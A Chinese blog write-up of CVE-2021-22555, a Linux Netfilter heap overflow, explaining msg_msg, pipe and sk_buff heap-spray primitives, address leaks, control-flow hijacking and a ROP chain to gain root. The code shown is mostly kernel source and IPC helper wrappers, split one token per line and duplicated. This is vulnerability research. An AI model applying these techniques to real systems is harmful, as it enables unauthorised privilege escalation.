-
-
[原创]CVE-2021-22555_Netfilter堆溢出提权漏洞
-
发表于: 2022-5-24 16:30 22493
-
参考文章:
CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)
或者我写的菜鸡项目:
要注意的是,在我写的项目里的CVE环境中,去掉了配置:CONFIG_SECURITY=n
,原因是在load_msg()
函数中申请msg_msg
结构体时,如下所示,会调用到security_msg_msg_alloc()
函数,给msg_msg
结构体中的security
指针赋值,导致下面漏洞利用时读取伪造msg_msg
结构体由于检测security
导致出错。
而去掉了配置:CONFIG_SECURITY=n
,可以不用security
指针,这样就不会出错了
但是在bsauce
师傅提供的环境中有添加该配置,而security
指针的值却还是为空。简单看了一下源码,如下函数链
对于lsm_msg_msg_alloc()
函数如下定义
可以看到这里进行相关赋值,如果满足blob_sizes.lbs_msg_msg == 0
那么其security
指针为空,后续检测时也依据此判断不检测。而对于这个blob_sizes.lbs_msg_msg
不是很熟悉,可能是我的相关配置问题吧。这里为了方便,我就直接将这个配置去掉了。
此外经过实际测试,源码也可以看出来,其实security
也就是一个堆地址(以0x8递增),是不断变化的,但是如果能泄露出其中一个,那么后续检测就能都通过了。
完成这个漏洞的利用还是需要一些前置知识的,刚好利用这个漏洞重新完善一下相关的知识点。
这个在之前也总结过,不过总结得有些错误,也不太完善,这里再好好总结一下
参照:【NOTES.0x08】Linux Kernel Pwn IV:通用结构体与技巧 - arttnba3's blog
Linux内核中利用msg_msg结构实现任意地址读写 - 安全客,安全资讯平台 (anquanke.com)
Linux的进程间通信 - 消息队列 · Poor Zorro's Linux Book (gitbooks.io)
《Linux系统编程手册》
虽然写的是最大kmalloc-1024
,但是在堆喷时,可以连续kmalloc(1024)
从而获得连续的堆内存分布,这样都释放掉之后再经过回收机制就可以申请到更大的kmallo-xx
了。
首先创建queue_id
管理标志,对应于内核空间的msg_queue
管理结构
使用简单封装的msgget
函数或者系统调用号__NR_msgget
,之后保存数据的消息就会在这个queue_id
管理标志,以及内核空间的msg_queue
管理结构下进行创建
写入消息:
然后就可以依据queue_id
写入消息了,不同于pipe
和socketpair
,这个需要特定的封装函数(msgsnd/msgrcv
)或者对应的系统调用(__NR_msgrcv/__NR_msgsnd
)来实现。
读取消息:
之后即可依据queue_id
读取消息
mtype
可通过设置该值来实现不同顺序的消息读取,在之后的堆块构造中很有用
msg_flag
可以关注一下MSG_NOERROR
标志位,比如说msg_flag
没有设置MSG_NOERROR
的时候,那么情况如下:
假定获取消息时输入的长度m_ts_size
为0x200
,且这个长度大于通过find_msg()
函数获取到的消息长度0x200
,则可以顺利读取,如果该长度小于获取到的消息长度0x200
,则会出现如下错误
但是如果设置了MSG_NOERROR
,那么即使传入接收消息的长度小于获取到的消息长度,仍然可以顺利获取,但是多余的消息会被截断,相关内存还是会被释放,这个在源代码中也有所体现。
此外还有更多的msg_flag
,就不一一举例了。
这个主要是用到msgctl
封装函数或者__NR_msgctl
系统调用,直接释放掉所有的消息结构,包括申请的msg_queue
的结构
不过一般也用不到,可能某些合并obj的情况能用到?
此外还有更多的cmd
命令,常用来设置内核空间的msg_queue
结构上的相关数据,不过多介绍了。
总结一下大致的使用方法如下
还是需要先创建msg_queue
结构体,使用msgget
函数,调用链为
主要还是关注最后的newque()
函数,在该函数中使用kvmalloc()
申请堆块,大小为0x100,属于kmalloc-256
,(不同版本大小貌似不同)。
创建的结构体如下所示
接着当使用msgsnd
函数传递消息时,会创建新的msg_msg
结构体,消息过长的话就会创建更多的msg_msgseg
来存储更多的消息。相关的函数调用链如下:
主要还是关注在alloc_msg()
函数
msg_msg
结构体如下,头部大小0x30
如下所示
<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220130886.png" alt="image-20220511220130886" style="zoom:80%;" />
msg_msgseq
结构如下,只是一个struct msg_msgseg*
指针
如下所示
<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/img/image-20220511220627775.png" alt="image-20220511220627775" style="zoom:80%;" />
在一个msg_queue
队列下,消息长度为0x1000-0x30-0x8-0x8-0x8
一条消息:
两条消息:
以msg_queue
的struct list_head q_messages;
域为链表头,和msg_msg
结构的struct list_head m_list
域串联所有的msg_msg
形成双向循环链表
同理,同一个msg_queue
消息队列下的多条消息也是类似的
调用完alloc_msg()
函数后,回到load_msg()
函数接着进行数据复制,函数还是挺简单的。
相关的函数调用链
首先关注一下do_msgrcv()
函数,里面很多东西都比较重要
一般而言,我们使用msg_msg
进行堆构造(比如溢出或者其他什么的)的时候,当需要从消息队列中读取消息而又不想释放该堆块时,会结合MSG_COPY
这个msgflg
标志位,防止在读取的时候发生堆块释放从而进行双向循环链表的unlink
触发错误。
使用这个标志位还需要在内核编译的时候设置CONFIG_CHECKPOINT_RESTORE=y
才行,否则还是会出错的
注:还有一点不知道是不是什么bug,在某些内核版本中,至少我的v5.11
中,MSG_NOERROR
和MSG_COPY
(后续会讲到)没有办法同时生效,关键点在于copy_msg()
函数中,转化成汇编如下:
注意到红框的部分,获取rdi(msg)
和rsi(copy)
对应的m_ts
进行比较,而copy
的m_ts
是从用户传进来的想要获取消息的长度,如果小于实际的msg
的m_ts
长度,那就标记错误然后退出。可以这个比较应该是在后面才会进行的,但是这里也突然冒出来,就很奇怪,导致这两个标志位没办法同时发挥作用。
同理如果不指定MSG_COPY
这个标志时,从消息队列中读取消息就会触发内存释放,这里就可以依据发送消息时设置的mtype
和接收消息时设置的msgtpy
来进行消息队列中各个位置的堆块的释放。
不管什么标志位,只要不是MSG_NOERROR
和MSG_COPY
联合起来,并且申请读取消息长度size
小于通过find_msg()
函数获取到的实际消息的m_ts
,那么最终都会走到do_msgrcv()函数的末尾,通过如下代码进行数据复制和堆块释放
这样,当我们通过之前提到的double-free/UAF
,并且再使用setxattr
来对msg_msgmsg
中的m_ts
进行修改,这样在我们调用msgrcv
的时候就能越界从堆上读取内存了,就可能能够泄露到堆地址或者程序基地址。
使用setxattr
的时候需要注意释放堆块时FD的位置,不同内核版本开启不同保护下FD的位置不太一样
为了获取到地址的成功性更大,我们就需要用到单个msg_queue
和单个msg_msg
的内存模型
可以看到单个msg_msg
在msg_queue
的管理下形成双向循环链表,所以如果我们通过msgget
和msgsnd
多申请一些相同大小的且只有一个msg_msg
结构体的msg_queue
,那么越界读取的时候,就可以读取到只有单个msg_msg
的头部了
而单个msg_msg
由于双向循环链表,其头部中又存在指向msg_queue
的指针,那么这样就能泄露出msg_queue
的堆地址了。
完成上述泄露msg_queue
的堆地址之后,就需要用到msg_msg
的内存布局了
由于我们的msg_msg
消息的内存布局如下
相关读取源码如下:
所以如果我们可以修改next
指针和m_ts
,结合读取msg
最终调用函数store_msg
的源码,那么就能够实现任意读取。
那么接着上面的,我们得到msg_queue
之后,可以再将msg_msg
的next指针指回msg_queue
,读出其中的msg_msg
,就能获得当前可控堆块的堆地址。
这样完成之后,我们结合userfaultfd
和setxattr
频繁修改next指针就能基于当前堆地址来进行内存搜索了,从而能够完成地址泄露。
同时需要注意的是,判断链表是否结束的依据为next是否为null,所以我们任意读取的时候,最好找到一个地方的next指针处的值为null。
同样的,msg_msg
由于next指针的存在,结合msgsnd
也具备任意地址写的功能。我们可以在拷贝的时候利用userfaultfd
停下来,然后更改next指针,使其指向我们需要的地方,比如init_cred
结构体位置,从而直接修改进行提权。
参照:(31条消息) Linux系统调用:pipe()系统调用源码分析_rtoax的博客-CSDN博客_linux pipe 源码**
通常来讲,管道用来在父进程和子进程之间通信,因为fork
出来的子进程会继承父进程的文件描述符副本。这里就使用当前进程来创建管道符,从管道的读取端(pipe_fd[0]
)和写入端(pipe_fd[1]
)来进行利用。
其中pipe2
函数或者系统调用__NR_pipe2
的flag
支持除0之外的三种模式,可用在man
手册中查看。
如果传入的flag
为0,则和pipe
函数是一样的,是阻塞的。
阻塞状态:即当没有数据在管道中时,如果还调用read
从管道读取数据,那么就会使得程序处于阻塞状态,其他的也是类似的情况。
会默认创建两个fd文件描述符的,该fd文件描述符效果的相关结构如下
放入到pipe_fd
中,如下
效果如下:
之后使用write/read
来写入读取即可,注意写入端为fd[1]
,读取端为fd[0]
由于pipe
管道创建后会对应创建文件描述符,所以释放两端对应的文件描述符即可释放管道pipe
管道
需要将两个文件描述符fd都给释放掉或者使用read
将管道中所有数据都读取出来,才会进入free_pipe_info
函数来释放在线性映射区域申请的相关内存资源,否则还是不会进入的。
发生在调用pipe
/pipe2
函数,或者系统调用__NR_pipe
/__NR_pipe2
时,内核入口为
函数调用链:
调用之后会在内核的线性映射区域进行内存分配,也就是常见的内核堆管理的区域。分配点在如下函数中:
相关的pipe_inode_info
结构如下
直接使用close
函数释放管道相关的文件描述符fd两端。
函数链调用链:
需要注意的时,在put_pipe_info
函数中
只有pipe_inode_info
这个管理结构中的files
成员为0,才会进行释放,也就是管道两端都关闭掉才行。
相关释放函数free_pipe_info
pipe_buffer
结构的buf
其中的ops
成员,即struct pipe_buf_operations
结构的pipe->bufs[i]->ops
,其中保存着全局的函数表,可通过这个来泄露内核基地址,相关结构如下所示
当关闭了管道的两端时,调用到free_pipe_info
函数,在清理pipe_buffer
时进入如下判断:
当管道中存在未被读取的数据时,即我们需要调用write
向管道的写入端写入数据
然后不要将数据全部读取出来,如果全部读取出来的话,那么在read
对应的pipe_read
函数中就会如下情况
从而调用pipe_buf_release
将buf->ops
清空。
注:(其实这里既然调用到了pipe_buf_release
函数,那么我们直接通过read
将管道pipe
中的所有数据读取出来,其实也能执行该release
函数指针的,从而劫持程序控制流的。)
那么接着上述的情况,那么在关闭两端时buf->ops
这个函数表就会存在
而当buf->ops
这个函数表存在时,关闭管道符两端进入上述判断之后,就会调用到其中的pipe_buf_release
函数,该函数会调用到这个buf->ops
函数表结构下对应的relase
函数指针,该指针在上述的pipe_buf_operations
结构中有提到
那么如果劫持了buf->ops
这个函数表,就能控制到release
函数指针,从而劫持控制流程。
不过pipe
管道具体的保存的数据放在哪里,还是不太清楚,听bsauce
说是在struct pipe_buffer
结构下buf
的page
里面,但是没有找到,后续还需要继续看看,先mark一下。这样也可以看出来,每写入一条信息时,内核的kmalloc
对应的堆内存基本是不发生变化的,与下面提到的sk_buff
有点不同。
参考:(31条消息) socketpair的用法和理解雪过无痕的博客-CSDN博客_socketpair
和该结构体相关的是一个socketpair
系统调用这个也算是socket
网络协议的一种,但是是在本地进程之间通信的,而非在网络之间的通信。说到底,这个其实和pipe
非常像,也是一个进程间的通信手段。不过相关区分如下:
此外在《Linux系统编程手册》一书中提到,pipe()
函数实际上被实现成了一个对socketpair
的调用。
然后和pipe
管道一样,使用write/read
即可,不过这个的fd两端都可以写入读取,但是消息传递的时候一端写入消息,就需要从另一端才能把消息读取出来
可以看到和pipe
是很相似的。
在调用socketpair
这个系统调用号时,并不会进行相关的内存分配,只有在使用write
来写入消息,进行数据传输时才会分配。
在调用write
进行数据写入时
函数链:
在unix_stream_sendmsg
开始分叉
先进行相关内存申请,即sock_alloc_send_pskb() -> alloc_skb_with_frags() -> alloc_skb() -> __alloc_skb()
还是挺长的,但是最重要的还是最后的__alloc_skb
函数,
相关内存申请完成之后,回到unix_stream_sendmsg
函数,开始进行数据复制skb_copy_datagram_from_iter
,即上述提到的。
当从socker
套接字中读取出某条信息的所有数据时,就会发生该条信息的相关内存的释放,即该条信息对应sk_buff
和skb->data
的释放。同样的,如果该条信息没有被读取完毕,则不会发生该信息相关内存的释放。
在read
时进行的函数调用链:
同样的在unix_stream_read_generic
处开始分叉,也是分为两部分,下面截取重要部分
之后的函数调用链为
最终进入__skb_datagram_iter
,
这里使用了感觉很复杂的机制,不是很懂。
进入内存释放的函数调用链为
释放skb->data
部分:
对应函数如下:
可以看到使用的正常的kfree
函数
释放skb
部分:
相关函数如下
这个就不太好利用了。
同样的,当关闭的信道的两端,该信道内产生的所有的sk_buff
和skb->data
都会得到释放
当从信道中将某条消息全部读取完之后,会发生该条消息对应的sk_buff
和skb->data
的内存释放,且sk_buff
释放到专门的缓存池中,skb->data
使用正常的kfree
释放
当关闭信道两端,该信道内产生的所有的sk_buff
和skb->data
都会得到释放,具体的调用链为:
后面就类似了。
由于我编译环境的时候老是出问题(后面才解决的),所以直接拿bsauce
师傅提供的环境来用了,但是又没有带DEBUG的vmlinux
,所以我使用vmlinux-to-elf简单获取下符号就开始逆向了(xs),所以下面漏洞分析提到的地址为bsauce
师傅环境的地址。
CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)
相关的Netfilter
分析就不做了,也不太会,可以看看bsauce
师傅的,这里主要关注数据的传输过程的一些东西。
通过Netfilter
的setsockopt
系统调用,传入用户数据&data
,可依据该&data
中的相关数据进行不同大小的堆块申请。完成申请后,还会对该堆块进行一定的处理,其中就有向堆块末尾填充数据的操作。
其中t->data+target->targetsize
即为申请的堆块上末尾处的某个地址,pad
为如下定义
其实pad
的值即为8 - (target->targetsize mod 8)
,就是所谓的8字节对齐。
并且t->data
的地址偏移和target->targetsize
的值都可被我们直接或间接地控制,那么就可以存在堆块溢出写0的操作了,这里最多溢出4个字节填充为0。
下面是具体的关键函数调用链和相关分析
句柄定义
这样到调用setsockopt
系统调用时,就会调用到do_ipt_get_ctl
函数。
参数:
调试如下
这个&data
即为用户传入的,赋值给sockptr_t arg
,从而依据sockptr_t arg
来进行堆块申请和相关的漏洞填充操作。
地址:0xffffffff81b0bd20
介绍:该函数由nf_sockopt_ops ipt_sockopts
进行句柄定义
即系统调用setsockopt
实际调用到与漏洞方面有关的最早的函数,传入的sockptr_targ
即为用户参数&data
,后续会调用到compat_do_replace
,传入sockptr_t arg
通过_copy_from_user
复制&data
的0x5c
字节给tmp
参数:
地址:0xffffffff81b0baf0
介绍:
主要关注变量:
调用translate_compat_table()
,传入本函数定义的tmp
作为compatr
,该变量tmp
由函数copy_from_sockptr(&tmp, arg, sizeof(tmp))
进行赋值
这里的dst
即为tmp
,src
即为arg
,也就是会依据arg(&data)
的内容来给tmp
赋值。即最后的compatr
的来源为上述提到的sockptr_t arg
,也就是用户传入的参数&data
。
从&data
中复制0x5c(sizeof(struct compat_ipt_replace))
大小的给到tmp(compatr)
,如下代码所示
复制的这些数据中就包含定义好的size,用来完成之后的堆块申请。
参数:
地址:0xffffffff81b0b3e0
介绍:
主要关注变量:
size
:size = compatr->size;
newinfo
:依据size
即上述的compatr->size
申请堆块,漏洞点就出在这个申请的堆块上面。
通过xt_alloc_table_info
来申请堆块,其中有如下代码
可以看到使用kvmalloc
,申请标志为GFP_KERNEL_ACCOUNT
,并且XT_MAX_TABLE_SIZE
定义如下,也就是在kmalloc-512到kmalloc-8192
pos/entry1
:
即pos/entry1
的值为newinfo_addr+0x40(0x4*3+0x14+0x14+0x4+0x8)
调用如下函数进行下一步:
参数:
地址:不太清楚
介绍:
主要关注变量:
相关操作:
这个函数和接下来的漏洞函数xt_compat_target_from_user
可以说基本一致,观察下图即可看到,具体用来干什么不太清楚,但是作用也是相关的pad填充newinfo
上的数据。打了一个循环xt_ematch_foreach
,在我们关注的这个漏洞里,其作用就只是使得*dstptr + n * msize
,也就是在我们关心的最终值为newinfo_addr+0x40+0x70+n * msize
,从而使得在进入xt_compat_target_from_user
之前,*dstptr
上的堆块地址已经移动到末尾了。
<img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214923917.png" alt="image-20220507214923917" style="zoom: 80%;" /> <img src="https://pig-007.oss-cn-beijing.aliyuncs.com/Img/image-20220507214947982.png" alt="image-20220507214947982" style="zoom: 80%;" />
做了一个数据对比:
也就是说经过xt_compat_match_from_user
函数之后,保存在*dstptr
上的漏洞堆的地址已经加上了0xf2a
。
终于来到最后的漏洞函数
参数:
地址:0xFFFFFFFF81A82F75
介绍:
主要关注变量
相关操作:
通过上述分析可以看到,其实该漏洞的成因就是
通过控制传入的&data
中的pad
的大小来控制申请的堆块的大小和t->data
的相对偏移地址
例子:
比如bsauce师傅提供的EXP中的pad如下,这里使用的是kmalloc-4096
:
那么我们尝试使用kmalloc-2048
,在代码中减去0x800得到如下:
断点打在xt_alloc_table_info
,在第二次的xt_alloc_table_info
申请漏洞堆块处,查看下CPU0的kmalloc-2048
中freelist
中的堆块。
然后finish
当前函数,查看rax申请到的堆块,即为freelist
中的第一个堆块
可以看到是从CP0的kmalloc-2048
中申请得到的,之后在call memset
的漏洞点打下断点,按c继续运行,断下来
可以看到仍然还是该漏洞堆块,并且相关的地址也类似的,pad为0x4,所以还是存在漏洞点的。
不过具体的细节有点不太清楚,后续还得补一补Netfilter
的相关知识。
通过控制传入的data.target.u.user.revision
来控制target->targetsize
不同的version
控制不同的target->targetsize
。
这里经过我自己的实际调试,感觉bsauce师傅说的有点小问题。漏洞点应该是出在上述的t->daii
地址没有0x8对齐的时候,并且target->size
也没有0x8对齐的情况下。
此外,不应该只是2字节溢出,最多应该可以到达4字节溢出,如下设置
这样可以溢出4个字节写0,最终效果如下:
如果再加pad的话就会导致申请出kmalloc-8192
的堆块了
这里涉及到之前提到的msg_msg
结构体利用。
首先使用msgget
申请多个消息队列,然后往每个消息队列发送两条消息,一条主消息0x1000
,一条辅助消息0x400
。这里发送消息时需要注意下,先遍历每个队列发送主消息,然后再遍历每个队列发送辅助消息。这样进行堆喷构造后,其中就会有部分的消息队列中的主消息连成一整块地址连续的内存,辅助消息也需要地址连成一整块,方便后续泄露地址,但是这里为了好看就没有连一起。比如这里申请三个消息队列,最终形成类似的如下布局
当然这里每条0x1000
的主消息中还有几个struct msg_msgseg*
没有画出来
这里我们先释放例子中的第二条主消息,虽说在主消息中是由4个kmalloc(0x400)
申请出来的4个堆块,但是如果都释放之后,内存的回收机制发现这四个地址连续且都被释放,那么就会归并成一页page
还给Slub
分配器,其实就是kmalloc-4096
。(里面算法很复杂,不是很懂,后面再来理清楚。)之后再申请0x1000
大小的堆块,就会优先从这里取。
然后我们使用漏洞,调用socketopt
来申请一个0x1000
的xt_table_info
,就会占据到我们刚刚释放的0x1000
大小的堆块上。(这个前面我们分析socketopt
会申请两个0x1000
大小的堆块,那么我们之后就是多释放几条主消息即可)这样在占据之后,发生2字节溢出写0,就可以溢出到下一个消息队列的msg_msg
头部结构的struct list_head m_list.next
指针,从而使得其指向其他位置,如果运气好的话,由于辅助消息也是堆喷形式,且大小为0x400
,那么溢出两字节写0就可能将该next
指针指向其他的辅助消息,从而造成两个消息队列中共存一个辅助消息。
比如图中消息队列3中的主消息头部的struct list_head m_list.next
即被修改(黑色为溢出2字节写0),如红色箭头所示指向了消息队列1中的辅助消息,这样消息队列1和消息队列3都指向了同一个辅助消息,构成了堆块overlap
。之后我们释放消息队列1中的辅助消息,而消息队列3仍然指向该辅助消息,构成了UAF。
注:在实际的利用里,需要进行堆喷布局,申请很多的消息队列,这时候就需要用MSG_COPY
标志位来进行消息读取。利用此标志位读取消息但不释放堆块,然后借助发送消息时自己留下的索引标志来判断到底是哪个辅助消息被两个消息队列所包含,这样就能进行后续的利用。
首先使用sk_buff
的data
数据块来占据该UAF
堆块。前面提到sk_buff
的结构头使用独有的缓冲池kache
来申请,但是其data
数据块还是使用kmalloc
常规路线来申请释放(使用正常的发包收包即可完成申请释放),并且size
和data
内容完全可控,这样我们就可以完全控制该UAF
堆块。
之后伪造一个fake_msg_msg
结构体,结构如下
改大其m_ts
域,就可以读取出消息队列2的辅助消息头部指针struct list_head m_list.next
的值,从而泄露消息队列2的msg_msg_queue
的struct list_head m_list
域的地址,为一个堆地址。
之后我们修改fake_msg_msg
的struct msg_msgseg *next
指针,指向上述获得的消息队列2的struct list_head m_list
域的地址,就能读出该struct list_head m_list
域的prev
指针,即为消息队列2的辅助消息的地址,减去0x400
即为UAF
堆块的地址
接下来利用到pipe
管道,主要是其中struct pipe_inode_info
的struct pipe_buffer *bufs;
数组,总大小为0x280
,使用kmalloc-1024
,满足当前的UAF
(同样使用正常的read/write
即可完成申请释放)。其结构为
利用如下操作读取const struct pipe_buf_operations *ops;
指针,即可泄露内核基地址
之前也提到过,当我们关闭管道pipe
两端或者从管道pipe
中读取出所有数据之后,会调用到pipe_buf_release()
函数进行清理,其中会调用struct pipe_buffer *bufs;
下的const struct pipe_buf_operations *ops;
对应函数表中的release
函数指针。
现在我们就可以通过sk_buff
来劫持劫持ops
指针函数表,修改其中的release
函数指针,完成劫持程序流。并且此时的rsi
即为buf
为我们的UAF
对象,而sk_buff
又可以使得UAF
对象里的数据完全可控。如果找到一个可以将rsp
劫持为rsi
的gadget
,那么就可以完全操控程序流程了。
这个其实也没有什么好讲的,看懂漏洞利用过程其实也很容易写出来的,主要提一下某些比较偏的知识点,也防止忘记。
通常是用来进行堆块分配时查看堆块内存的,防止堆块申请的时候东一个西一个的,方便调试,同时也是为了提高堆喷射的稳定性
EXP
原作者称:当IPT_SO_SET_REPLACE
或IP6T_SO_SET_REPLACE
在兼容模式下被调用时(需要CAP_NET_ADMIN
权限)。
这个在源代码do_ipt_set_ctl()
函数中有所体现
而用户空间隔离出独立的命名空间后就能拥有CAP_NET_ADMIN
权限,所以需要,其实也不是太懂这个干啥的。
其他的好像也没有什么了,就是最后的ROP
链条方面的东西,由于最后触发劫持程序流的时候,rsi
为UAF
对象地址,所以利用gadget
先进行栈劫持rsp
,然后使用利用commit_creds(&init_cred)
获取ROOT权限,之后使用SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE
绕过KPTI
和SMEP
即可。
参考:【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog
Linux Kernel KPTI保护绕过 - 安全客,安全资讯平台 (anquanke.com)
主要是bsauce师傅的EXP和arttnba3师傅的EXP,然后改巴改巴,加了点东西,替换了一下ROP链条什么的。
效果:
中间有个getchar()
,按下回车即可,本来放这是为了方便调试的。
不行的话可以多尝试几次
然后逃逸容器的我没尝试,也不太会,可以参考arttnba3师傅的容器逃逸EXP
CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)
【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog
CVE-2021-22555: Turning \x00\x00 into 10000$ | security-research (google.github.io)
太多了,有点贴不过来了....
/
/
v5.
11.14
/
ipc
/
msgutil.c
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
/
/
....
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
/
/
v5.
11.14
/
ipc
/
msgutil.c
struct msg_msg
*
load_msg(const void __user
*
src, size_t
len
)
{
struct msg_msg
*
msg;
struct msg_msgseg
*
seg;
int
err
=
-
EFAULT;
size_t alen;
msg
=
alloc_msg(
len
);
/
/
....
err
=
security_msg_msg_alloc(msg);
if
(err)
goto out_err;
return
msg;
out_err:
free_msg(msg);
return
ERR_PTR(err);
}
/
/
v5.
11.14
/
include
/
linux
/
security.h
#ifdef CONFIG_SECURITY
/
/
.....
int
security_msg_msg_alloc(struct msg_msg
*
msg);
void security_msg_msg_free(struct msg_msg
*
msg);
int
security_msg_queue_alloc(struct kern_ipc_perm
*
msq);
void security_msg_queue_free(struct kern_ipc_perm
*
msq);
int
security_msg_queue_associate(struct kern_ipc_perm
*
msq,
int
msqflg);
int
security_msg_queue_msgctl(struct kern_ipc_perm
*
msq,
int
cmd);
int
security_msg_queue_msgsnd(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
int
msqflg);
int
security_msg_queue_msgrcv(struct kern_ipc_perm
*
msq, struct msg_msg
*
msg,
struct task_struct
*
target,
long
type
,
int
mode);
/
/
....
#else /* CONFIG_SECURITY */
/
/
....
static inline
int
security_msg_msg_alloc(struct msg_msg
*
msg){
return
0
;}
static inline void security_msg_msg_free(struct msg_msg
*
msg){ }
static inline
int
security_msg_queue_alloc(struct kern_ipc_perm
*
msq){
return
0
;}
static inline void security_msg_queue_free(struct kern_ipc_perm
*
msq){ }
static inline
int
security_msg_queue_associate(struct kern_ipc_perm
*
msq,
int
msqflg){
return
0
;}
static inline
int
security_msg_queue_msgctl(struct kern_ipc_perm
*
msq,
int
cmd){
return
0
;}
static inline
int
security_msg_queue_msgsnd(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
int
msqflg){
return
0
;}
static inline
int
security_msg_queue_msgrcv(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
struct task_struct
*
target,
long
type
,
int
mode){
return
0
;}
/
/
....
#endif /* CONFIG_SECURITY */
/
/
v5.
11.14
/
include
/
linux
/
security.h
#ifdef CONFIG_SECURITY
/
/
.....
int
security_msg_msg_alloc(struct msg_msg
*
msg);
void security_msg_msg_free(struct msg_msg
*
msg);
int
security_msg_queue_alloc(struct kern_ipc_perm
*
msq);
void security_msg_queue_free(struct kern_ipc_perm
*
msq);
int
security_msg_queue_associate(struct kern_ipc_perm
*
msq,
int
msqflg);
int
security_msg_queue_msgctl(struct kern_ipc_perm
*
msq,
int
cmd);
int
security_msg_queue_msgsnd(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
int
msqflg);
int
security_msg_queue_msgrcv(struct kern_ipc_perm
*
msq, struct msg_msg
*
msg,
struct task_struct
*
target,
long
type
,
int
mode);
/
/
....
#else /* CONFIG_SECURITY */
/
/
....
static inline
int
security_msg_msg_alloc(struct msg_msg
*
msg){
return
0
;}
static inline void security_msg_msg_free(struct msg_msg
*
msg){ }
static inline
int
security_msg_queue_alloc(struct kern_ipc_perm
*
msq){
return
0
;}
static inline void security_msg_queue_free(struct kern_ipc_perm
*
msq){ }
static inline
int
security_msg_queue_associate(struct kern_ipc_perm
*
msq,
int
msqflg){
return
0
;}
static inline
int
security_msg_queue_msgctl(struct kern_ipc_perm
*
msq,
int
cmd){
return
0
;}
static inline
int
security_msg_queue_msgsnd(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
int
msqflg){
return
0
;}
static inline
int
security_msg_queue_msgrcv(struct kern_ipc_perm
*
msq,
struct msg_msg
*
msg,
struct task_struct
*
target,
long
type
,
int
mode){
return
0
;}
/
/
....
#endif /* CONFIG_SECURITY */
load_msg()
-
>security_msg_msg_alloc()
-
>lsm_msg_msg_alloc()
load_msg()
-
>security_msg_msg_alloc()
-
>lsm_msg_msg_alloc()
static
int
lsm_msg_msg_alloc(struct msg_msg
*
mp)
{
if
(blob_sizes.lbs_msg_msg
=
=
0
) {
mp
-
>security
=
NULL;
return
0
;
}
mp
-
>security
=
kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
if
(mp
-
>security
=
=
NULL)
return
-
ENOMEM;
return
0
;
}
static
int
lsm_msg_msg_alloc(struct msg_msg
*
mp)
{
if
(blob_sizes.lbs_msg_msg
=
=
0
) {
mp
-
>security
=
NULL;
return
0
;
}
mp
-
>security
=
kzalloc(blob_sizes.lbs_msg_msg, GFP_KERNEL);
if
(mp
-
>security
=
=
NULL)
return
-
ENOMEM;
return
0
;
}
/
/
key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
/
/
代表着该消息队列在内核中唯一的标识符
/
/
使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key,
int
msg_flag)
{
int32_t result;
if
((result
=
msgget(key, msg_flag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
return
result;
}
int
queue_id
=
make_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
/
/
key要么使用ftok()算法生成,要么指定为IPC_PRIVATE
/
/
代表着该消息队列在内核中唯一的标识符
/
/
使用IPC_PRIVATE会生成全新的消息队列IPC对象
int32_t make_queue(key_t key,
int
msg_flag)
{
int32_t result;
if
((result
=
msgget(key, msg_flag))
=
=
-
1
)
{
perror(
"msgget failure"
);
exit(
-
1
);
}
return
result;
}
int
queue_id
=
make_queue(IPC_PRIVATE,
0666
| IPC_CREAT);
typedef struct
{
long
mtype;
char mtext[
1
];
}msgp;
/
/
msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
int
msg_flag)
{
if
(msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
=
=
-
1
)
{
perror(
"msgsend failure"
);
exit(
-
1
);
}
return
;
}
char queue_send_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
/
/
任意指定
msg
*
message
=
(msg
*
)queue_send_buf;
message
-
>mtype
=
0
;
send_msg(queue_id, message, m_ts_size,
0
);
typedef struct
{
long
mtype;
char mtext[
1
];
}msgp;
/
/
msg_buf实际上为msgp,里面包含mtype,这个mtype在后面的堆块构造中很有用
void send_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
int
msg_flag)
{
if
(msgsnd(msg_queue_id, msg_buf, msg_size, msg_flag)
=
=
-
1
)
{
perror(
"msgsend failure"
);
exit(
-
1
);
}
return
;
}
char queue_send_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
/
/
任意指定
msg
*
message
=
(msg
*
)queue_send_buf;
message
-
>mtype
=
0
;
send_msg(queue_id, message, m_ts_size,
0
);
void get_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
long
msgtyp,
int
msg_flag)
{
if
(msgrcv(msg_queue_id, msg_buf, msg_size, msgtyp, msg_flag) <
0
)
{
perror(
"msgrcv"
);
exit(
-
1
);
}
return
;
}
char queue_recv_buf[
0x2000
];
m_ts_size
=
0x400
-
0x30
;
/
/
任意指定
get_msg(queue_id, queue_recv_buf, m_ts_size,
0
, IPC_NOWAIT | MSG_COPY);
void get_msg(
int
msg_queue_id, void
*
msg_buf, size_t msg_size,
long
msgtyp,
int
msg_flag)
{
if
